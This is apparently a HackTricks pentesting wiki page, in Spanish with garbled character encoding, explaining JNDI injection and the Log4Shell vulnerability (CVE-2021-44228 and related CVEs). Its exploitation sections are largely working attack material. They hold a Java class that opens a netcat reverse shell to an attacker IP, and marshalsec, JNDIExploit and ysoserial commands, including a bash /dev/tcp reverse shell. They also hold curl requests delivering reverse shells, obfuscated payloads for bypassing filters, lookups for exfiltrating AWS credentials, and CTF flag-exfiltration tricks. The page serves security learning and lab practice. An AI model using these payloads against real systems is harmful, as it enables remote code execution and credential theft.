JNDI - Java Naming and Directory Interface & Log4Shell

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Informaci贸n B谩sica

JNDI, integrado en Java desde finales de la d茅cada de 1990, sirve como un servicio de directorio, permitiendo a los programas Java localizar datos u objetos a trav茅s de un sistema de nombres. Soporta varios servicios de directorio a trav茅s de interfaces de proveedor de servicios (SPIs), permitiendo la recuperaci贸n de datos de diferentes sistemas, incluidos objetos Java remotos. Los SPIs comunes incluyen CORBA COS, Java RMI Registry y LDAP.

Referencia de Nombres JNDI

Los objetos Java pueden ser almacenados y recuperados utilizando Referencias de Nombres JNDI, que vienen en dos formas:

  • Direcciones de Referencia: Especifica la ubicaci贸n de un objeto (por ejemplo, rmi://server/ref), permitiendo la recuperaci贸n directa desde la direcci贸n especificada.
  • F谩brica Remota: Hace referencia a una clase de f谩brica remota. Cuando se accede, la clase se descarga e instancia desde la ubicaci贸n remota.

Sin embargo, este mecanismo puede ser explotado, lo que podr铆a llevar a la carga y ejecuci贸n de c贸digo arbitrario. Como contramedida:

  • RMI: java.rmi.server.useCodeabseOnly = true por defecto desde JDK 7u21, restringiendo la carga de objetos remotos. Un Administrador de Seguridad limita a煤n m谩s lo que se puede cargar.
  • LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false por defecto desde JDK 6u141, 7u131, 8u121, bloqueando la ejecuci贸n de objetos Java cargados remotamente. Si se establece en true, la ejecuci贸n de c贸digo remoto es posible sin la supervisi贸n de un Administrador de Seguridad.
  • CORBA: No tiene una propiedad espec铆fica, pero el Administrador de Seguridad siempre est谩 activo.

Sin embargo, el Administrador de Nombres, responsable de resolver enlaces JNDI, carece de mecanismos de seguridad integrados, lo que podr铆a permitir la recuperaci贸n de objetos de cualquier fuente. Esto representa un riesgo, ya que las protecciones de RMI, LDAP y CORBA pueden ser eludidas, llevando a la carga de objetos Java arbitrarios o explotando componentes de aplicaci贸n existentes (gadgets) para ejecutar c贸digo malicioso.

Ejemplos de URLs explotables incluyen:

  • rmi://attacker-server/bar
  • ldap://attacker-server/bar
  • iiop://attacker-server/bar

A pesar de las protecciones, las vulnerabilidades persisten, principalmente debido a la falta de salvaguardias contra la carga de JNDI desde fuentes no confiables y la posibilidad de eludir las protecciones existentes.

Ejemplo de JNDI

Incluso si has establecido un PROVIDER_URL, puedes indicar uno diferente en una b煤squeda y se acceder谩: ctx.lookup("<attacker-controlled-url>") y eso es lo que un atacante abusar谩 para cargar objetos arbitrarios desde un sistema controlado por 茅l.

Visi贸n General de CORBA

CORBA (Common Object Request Broker Architecture) emplea una Referencia de Objeto Interoperable (IOR) para identificar de manera 煤nica objetos remotos. Esta referencia incluye informaci贸n esencial como:

  • ID de Tipo: Identificador 煤nico para una interfaz.
  • Codebase: URL para obtener la clase stub.

Notablemente, CORBA no es inherentemente vulnerable. Asegurar la seguridad t铆picamente implica:

  • Instalaci贸n de un Administrador de Seguridad.
  • Configuraci贸n del Administrador de Seguridad para permitir conexiones a codebases potencialmente maliciosas. Esto se puede lograr a trav茅s de:
  • Permiso de socket, por ejemplo, permissions java.net.SocketPermission "*:1098-1099", "connect";.
  • Permisos de lectura de archivos, ya sea de manera universal (permission java.io.FilePermission "<<ALL FILES>>", "read";) o para directorios espec铆ficos donde podr铆an colocarse archivos maliciosos.

Sin embargo, algunas pol铆ticas de proveedores pueden ser indulgentes y permitir estas conexiones por defecto.

Contexto RMI

Para RMI (Remote Method Invocation), la situaci贸n es algo diferente. Al igual que con CORBA, la descarga de clases arbitrarias est谩 restringida por defecto. Para explotar RMI, uno t铆picamente necesitar铆a eludir el Administrador de Seguridad, un logro tambi茅n relevante en CORBA.

LDAP

Primero que nada, necesitamos distinguir entre una B煤squeda y una Consulta.
Una b煤squeda utilizar谩 una URL como ldap://localhost:389/o=JNDITutorial para encontrar el objeto JNDITutorial desde un servidor LDAP y recuperar sus atributos.
Una consulta est谩 destinada a servicios de nombres ya que queremos obtener cualquier cosa que est茅 vinculada a un nombre.

Si la b煤squeda LDAP fue invocada con SearchControls.setReturningObjFlag() con true, entonces el objeto devuelto ser谩 reconstruido.

Por lo tanto, hay varias formas de atacar estas opciones.
Un atacante puede envenenar registros LDAP introduciendo cargas 煤tiles en ellos que ser谩n ejecutadas en los sistemas que las recopilan (muy 煤til para comprometer decenas de m谩quinas si tienes acceso al servidor LDAP). Otra forma de explotar esto ser铆a realizar un ataque MitM en una b煤squeda LDAP, por ejemplo.

En caso de que puedas hacer que una aplicaci贸n resuelva una URL JNDI LDAP, puedes controlar el LDAP que ser谩 buscado, y podr铆as devolver la explotaci贸n (log4shell).

Explotaci贸n de Deserializaci贸n

La explotaci贸n est谩 serializada y ser谩 deserializada.
En caso de que trustURLCodebase sea true, un atacante puede proporcionar sus propias clases en el codebase, si no, necesitar谩 abusar de gadgets en el classpath.

Explotaci贸n de Referencia JNDI

Es m谩s f谩cil atacar este LDAP usando referencias JavaFactory:

Vulnerabilidad Log4Shell

La vulnerabilidad se introduce en Log4j porque soporta una sintaxis especial en la forma ${prefix:name} donde prefix es uno de varios Lookups donde name debe ser evaluado. Por ejemplo, ${java:version} es la versi贸n actual de Java en ejecuci贸n.

LOG4J2-313 introdujo una funci贸n de b煤squeda jndi. Esta funci贸n permite la recuperaci贸n de variables a trav茅s de JNDI. T铆picamente, la clave se antepone autom谩ticamente con java:comp/env/. Sin embargo, si la clave en s铆 incluye un ":", este prefijo predeterminado no se aplica.

Con un : presente en la clave, como en ${jndi:ldap://example.com/a} no hay prefijo y se consulta al servidor LDAP por el objeto. Y estas b煤squedas pueden ser utilizadas tanto en la configuraci贸n de Log4j como cuando se registran l铆neas.

Por lo tanto, lo 煤nico que se necesita para obtener RCE es una versi贸n vulnerable de Log4j procesando informaci贸n controlada por el usuario. Y debido a que esta es una biblioteca ampliamente utilizada por aplicaciones Java para registrar informaci贸n (incluidas aplicaciones expuestas a Internet), era muy com煤n tener log4j registrando, por ejemplo, encabezados HTTP recibidos como el User-Agent. Sin embargo, log4j no se utiliza solo para registrar informaci贸n HTTP, sino cualquier entrada y datos que el desarrollador indic贸.

Visi贸n General de CVEs Relacionados con Log4Shell

CVE-2021-44228 [Cr铆tico]

Esta vulnerabilidad es un fallo de deserializaci贸n no confiable cr铆tico en el componente log4j-core, que afecta versiones desde 2.0-beta9 hasta 2.14.1. Permite ejecuci贸n remota de c贸digo (RCE), permitiendo a los atacantes tomar el control de los sistemas. El problema fue reportado por Chen Zhaojun del equipo de seguridad de Alibaba Cloud y afecta a varios marcos de Apache. La soluci贸n inicial en la versi贸n 2.15.0 fue incompleta. Las reglas Sigma para defensa est谩n disponibles (Regla 1, Regla 2).

CVE-2021-45046 [Cr铆tico]

Inicialmente calificado como bajo pero luego elevado a cr铆tico, este CVE es un fallo de Denegaci贸n de Servicio (DoS) resultante de una soluci贸n incompleta en 2.15.0 para CVE-2021-44228. Afecta configuraciones no predeterminadas, permitiendo a los atacantes causar ataques DoS a trav茅s de cargas 煤tiles elaboradas. Un tweet muestra un m茅todo de elusi贸n. El problema se resuelve en las versiones 2.16.0 y 2.12.2 al eliminar patrones de b煤squeda de mensajes y deshabilitar JNDI por defecto.

CVE-2021-4104 [Alto]

Afectando a versiones de Log4j 1.x en configuraciones no predeterminadas que utilizan JMSAppender, este CVE es un fallo de deserializaci贸n no confiable. No hay soluci贸n disponible para la rama 1.x, que ha llegado al final de su vida 煤til, y se recomienda actualizar a log4j-core 2.17.0.

CVE-2021-42550 [Moderado]

Esta vulnerabilidad afecta al marco de registro Logback, un sucesor de Log4j 1.x. Anteriormente se pensaba que era seguro, pero se encontr贸 que el marco era vulnerable, y se han lanzado versiones m谩s nuevas (1.3.0-alpha11 y 1.2.9) para abordar el problema.

CVE-2021-45105 [Alto]

Log4j 2.16.0 contiene un fallo de DoS, lo que llev贸 al lanzamiento de log4j 2.17.0 para solucionar el CVE. M谩s detalles est谩n en el informe de BleepingComputer.

CVE-2021-44832

Afectando a la versi贸n 2.17 de log4j, este CVE requiere que el atacante controle el archivo de configuraci贸n de log4j. Involucra la posible ejecuci贸n de c贸digo arbitrario a trav茅s de un JDBCAppender configurado. M谩s detalles est谩n disponibles en la publicaci贸n del blog de Checkmarx.

Explotaci贸n de Log4Shell

Descubrimiento

Esta vulnerabilidad es muy f谩cil de descubrir si no est谩 protegida porque enviar谩 al menos una solicitud DNS a la direcci贸n que indiques en tu carga 煤til. Por lo tanto, cargas 煤tiles como:

  • ${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} (usando canarytokens.com)
  • ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} (usando interactsh)
  • ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (usando Burp Suite)
  • ${jndi:ldap://2j4ayo.dnslog.cn} (usando dnslog)
  • ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520} usando (usando huntress)

Ten en cuenta que incluso si se recibe una solicitud DNS, eso no significa que la aplicaci贸n sea explotable (o incluso vulnerable), necesitar谩s intentar explotarla.

note

Recuerda que para explotar la versi贸n 2.15 necesitas agregar el bypass de verificaci贸n de localhost: ${jndi:ldap://127.0.0.1#...}

Descubrimiento Local

Busca versiones vulnerables locales de la biblioteca con:

bash
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

Verificaci贸n

Algunas de las plataformas mencionadas anteriormente te permitir谩n insertar algunos datos variables que se registrar谩n cuando se soliciten.
Esto puede ser muy 煤til para 2 cosas:

  • Para verificar la vulnerabilidad
  • Para exfiltrar informaci贸n abusando de la vulnerabilidad

Por ejemplo, podr铆as solicitar algo como:
o como ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} y si se recibe una solicitud DNS con el valor de la variable de entorno, sabes que la aplicaci贸n es vulnerable.

Otra informaci贸n que podr铆as intentar filtrar:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

Informaci贸n de RCE

note

Los hosts que ejecutan versiones de JDK superiores a 6u141, 7u131 o 8u121 est谩n protegidos contra el vector de ataque de carga de clases LDAP. Esto se debe a la desactivaci贸n predeterminada de com.sun.jndi.ldap.object.trustURLCodebase, que impide que JNDI cargue una base de c贸digo remota a trav茅s de LDAP. Sin embargo, es crucial notar que estas versiones no est谩n protegidas contra el vector de ataque de deserializaci贸n.

Para los atacantes que buscan explotar estas versiones m谩s altas de JDK, es necesario aprovechar un gadget de confianza dentro de la aplicaci贸n Java. Herramientas como ysoserial o JNDIExploit se utilizan a menudo para este prop贸sito. Por el contrario, explotar versiones m谩s bajas de JDK es relativamente m谩s f谩cil, ya que estas versiones pueden ser manipuladas para cargar y ejecutar clases arbitrarias.

Para m谩s informaci贸n (como limitaciones en los vectores RMI y CORBA) consulta la secci贸n anterior de Referencia de Nombres JNDI o https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/

RCE - Marshalsec con carga 煤til personalizada

Puedes probar esto en la THM box: https://tryhackme.com/room/solar

Usa la herramienta marshalsec (versi贸n jar disponible aqu铆). Este enfoque establece un servidor de referencia LDAP para redirigir conexiones a un servidor HTTP secundario donde se alojar谩 el exploit:

bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

Para incitar al objetivo a cargar un c贸digo de shell inverso, crea un archivo Java llamado Exploit.java con el siguiente contenido:

java
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

Compila el archivo Java en un archivo de clase usando: javac Exploit.java -source 8 -target 8. A continuaci贸n, inicia un servidor HTTP en el directorio que contiene el archivo de clase con: python3 -m http.server. Aseg煤rate de que el servidor LDAP marshalsec haga referencia a este servidor HTTP.

Desencadena la ejecuci贸n de la clase de explotaci贸n en el servidor web susceptible enviando una carga 煤til que se asemeje a:

bash
${jndi:ldap://<LDAP_IP>:1389/Exploit}

Nota: Este exploit depende de la configuraci贸n de Java para permitir la carga de c贸digo base remoto a trav茅s de LDAP. Si esto no es permisible, considera explotar una clase de confianza para la ejecuci贸n de c贸digo arbitrario.

RCE - JNDIExploit

note

Ten en cuenta que por alguna raz贸n el autor elimin贸 este proyecto de github despu茅s del descubrimiento de log4shell. Puedes encontrar una versi贸n en cach茅 en https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 pero si quieres respetar la decisi贸n del autor, utiliza un m茅todo diferente para explotar esta vulnerabilidad.

Adem谩s, no puedes encontrar el c贸digo fuente en wayback machine, as铆 que analiza el c贸digo fuente o ejecuta el jar sabiendo que no sabes qu茅 est谩s ejecutando.

Para este ejemplo, puedes simplemente ejecutar este servidor web vulnerable a log4shell en el puerto 8080: https://github.com/christophetd/log4shell-vulnerable-app (en el README encontrar谩s c贸mo ejecutarlo). Esta aplicaci贸n vulnerable est谩 registrando con una versi贸n vulnerable de log4shell el contenido del encabezado de la solicitud HTTP X-Api-Version.

Luego, puedes descargar el archivo jar de JNDIExploit y ejecutarlo con:

bash
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

Despu茅s de leer el c贸digo solo un par de minutos, en com.feihong.ldap.LdapServer y com.feihong.ldap.HTTPServer puedes ver c贸mo se crean los servidores LDAP y HTTP. El servidor LDAP entender谩 qu茅 payload necesita ser servido y redirigir谩 a la v铆ctima al servidor HTTP, que servir谩 el exploit.
En com.feihong.ldap.gadgets puedes encontrar algunos gadgets espec铆ficos que se pueden usar para ejecutar la acci贸n deseada (potencialmente ejecutar c贸digo arbitrario). Y en com.feihong.ldap.template puedes ver las diferentes clases de plantilla que generar谩n los exploits.

Puedes ver todos los exploits disponibles con java -jar JNDIExploit-1.2-SNAPSHOT.jar -u. Algunos 煤tiles son:

bash
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

Entonces, en nuestro ejemplo, ya tenemos esa aplicaci贸n vulnerable de Docker en funcionamiento. Para atacarla:

bash
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

Al enviar los ataques, ver谩s alguna salida en la terminal donde ejecutaste JNDIExploit-1.2-SNAPSHOT.jar.

Recuerda verificar java -jar JNDIExploit-1.2-SNAPSHOT.jar -u para otras opciones de explotaci贸n. Adem谩s, en caso de que lo necesites, puedes cambiar el puerto de los servidores LDAP y HTTP.

RCE - JNDI-Exploit-Kit

De manera similar al exploit anterior, puedes intentar usar JNDI-Exploit-Kit para explotar esta vulnerabilidad.
Puedes generar las URLs para enviar a la v铆ctima ejecutando:

bash
# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

Este ataque utilizando un objeto java generado de forma personalizada funcionar谩 en laboratorios como la THM solar room. Sin embargo, esto generalmente no funcionar谩 (ya que por defecto Java no est谩 configurado para cargar una base de c贸digo remota usando LDAP) creo que porque no est谩 abusando de una clase de confianza para ejecutar c贸digo arbitrario.

RCE - JNDI-Injection-Exploit-Plus

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus es otra herramienta para generar enlaces JNDI funcionales y proporcionar servicios de fondo iniciando un servidor RMI, un servidor LDAP y un servidor HTTP.\

RCE - ysoserial & JNDI-Exploit-Kit

Esta opci贸n es realmente 煤til para atacar versiones de Java configuradas para confiar solo en clases espec铆ficas y no en todas. Por lo tanto, ysoserial se utilizar谩 para generar serializaciones de clases de confianza que pueden ser utilizadas como gadgets para ejecutar c贸digo arbitrario (la clase de confianza abusada por ysoserial debe ser utilizada por el programa java de la v铆ctima para que el exploit funcione).

Usando ysoserial o ysoserial-modified puedes crear el exploit de deserializaci贸n que ser谩 descargado por JNDI:

bash
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

Utiliza JNDI-Exploit-Kit para generar enlaces JNDI donde el exploit estar谩 esperando conexiones de las m谩quinas vulnerables. Puedes servir diferentes exploits que pueden ser generados autom谩ticamente por el JNDI-Exploit-Kit o incluso tus propios payloads de deserializaci贸n (generados por ti o ysoserial).

bash
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

Ahora puedes usar f谩cilmente un enlace JNDI generado para explotar la vulnerabilidad y obtener un reverse shell simplemente envi谩ndolo a una versi贸n vulnerable de log4j: ${ldap://10.10.14.10:1389/generated}

Bypasses

java
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:谋}}:ldap://...} //Notice the unicode "i"

Esc谩neres Autom谩ticos

Laboratorios para probar

Explotaci贸n Post-Log4Shell

En este CTF writeup se explica bien c贸mo es potencialmente posible abusar de algunas caracter铆sticas de Log4J.

La p谩gina de seguridad de Log4j tiene algunas frases interesantes:

A partir de la versi贸n 2.16.0 (para Java 8), la funci贸n de b煤squeda de mensajes ha sido completamente eliminada. Las b煤squedas en la configuraci贸n a煤n funcionan. Adem谩s, Log4j ahora desactiva el acceso a JNDI por defecto. Las b煤squedas JNDI en la configuraci贸n ahora deben habilitarse expl铆citamente.

A partir de la versi贸n 2.17.0, (y 2.12.3 y 2.3.1 para Java 7 y Java 6), solo las cadenas de b煤squeda en la configuraci贸n se expanden recursivamente; en cualquier otro uso, solo se resuelve la b煤squeda de nivel superior, y las b煤squedas anidadas no se resuelven.

Esto significa que por defecto puedes olvidarte de usar cualquier exploit jndi. Adem谩s, para realizar b煤squedas recursivas necesitas tenerlas configuradas.

Por ejemplo, en ese CTF esto se configur贸 en el archivo log4j2.xml:

xml
<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

B煤squedas de Entorno

En este CTF el atacante controlaba el valor de ${sys:cmd} y necesitaba exfiltrar la bandera de una variable de entorno.
Como se ve en esta p谩gina en cargas 煤tiles anteriores hay diferentes formas de acceder a las variables de entorno, como: ${env:FLAG}. En este CTF esto fue in煤til, pero podr铆a no serlo en otros escenarios de la vida real.

Exfiltraci贸n en Excepciones

En el CTF, no pod铆as acceder al stderr de la aplicaci贸n java usando log4J, pero las excepciones de Log4J se env铆an a stdout, que se imprimieron en la aplicaci贸n de python. Esto significaba que al provocar una excepci贸n pod铆amos acceder al contenido. Una excepci贸n para exfiltrar la bandera fue: ${java:${env:FLAG}}. Esto funciona porque ${java:CTF{blahblah}} no existe y se mostrar谩 una excepci贸n con el valor de la bandera:

Excepciones de Patrones de Conversi贸n

Solo para mencionarlo, tambi茅n podr铆as inyectar nuevos patrones de conversi贸n y provocar excepciones que se registrar谩n en stdout. Por ejemplo:

Esto no se encontr贸 煤til para exfiltrar datos dentro del mensaje de error, porque la b煤squeda no se resolvi贸 antes del patr贸n de conversi贸n, pero podr铆a ser 煤til para otras cosas como la detecci贸n.

Expresiones Regulares de Patrones de Conversi贸n

Sin embargo, es posible usar algunos patrones de conversi贸n que soportan expresiones regulares para exfiltrar informaci贸n de una b煤squeda utilizando expresiones regulares y abusando de b煤squeda binaria o comportamientos basados en tiempo.

  • B煤squeda binaria a trav茅s de mensajes de excepci贸n

El patr贸n de conversi贸n %replace se puede usar para reemplazar contenido de una cadena incluso usando expresiones regulares. Funciona as铆: replace{pattern}{regex}{substitution}
Abusando de este comportamiento podr铆as hacer que el reemplazo provocara una excepci贸n si la expresi贸n regular coincid铆a con algo dentro de la cadena (y sin excepci贸n si no se encontraba) as铆:

bash
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
  • Basado en tiempo

Como se mencion贸 en la secci贸n anterior, %replace soporta regexes. Por lo tanto, es posible usar un payload de la p谩gina de ReDoS para causar un timeout en caso de que se encuentre la bandera.
Por ejemplo, un payload como %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} desencadenar铆a un timeout en ese CTF.

En este escrito, en lugar de usar un ataque ReDoS, se utiliz贸 un ataque de amplificaci贸n para causar una diferencia de tiempo en la respuesta:

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

Si la bandera comienza con flagGuess, toda la bandera se reemplaza con 29 #-s (utilic茅 este car谩cter porque probablemente no formar铆a parte de la bandera). Cada uno de los 29 #-s resultantes se reemplaza luego por 54 #-s. Este proceso se repite 6 veces, lo que lleva a un total de 29*54*54^6* =`` ``96816014208 #-s!

Reemplazar tantos #-s desencadenar谩 el timeout de 10 segundos de la aplicaci贸n Flask, lo que a su vez resultar谩 en que se env铆e el c贸digo de estado HTTP 500 al usuario. (Si la bandera no comienza con flagGuess, recibiremos un c贸digo de estado que no es 500)

Referencias

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks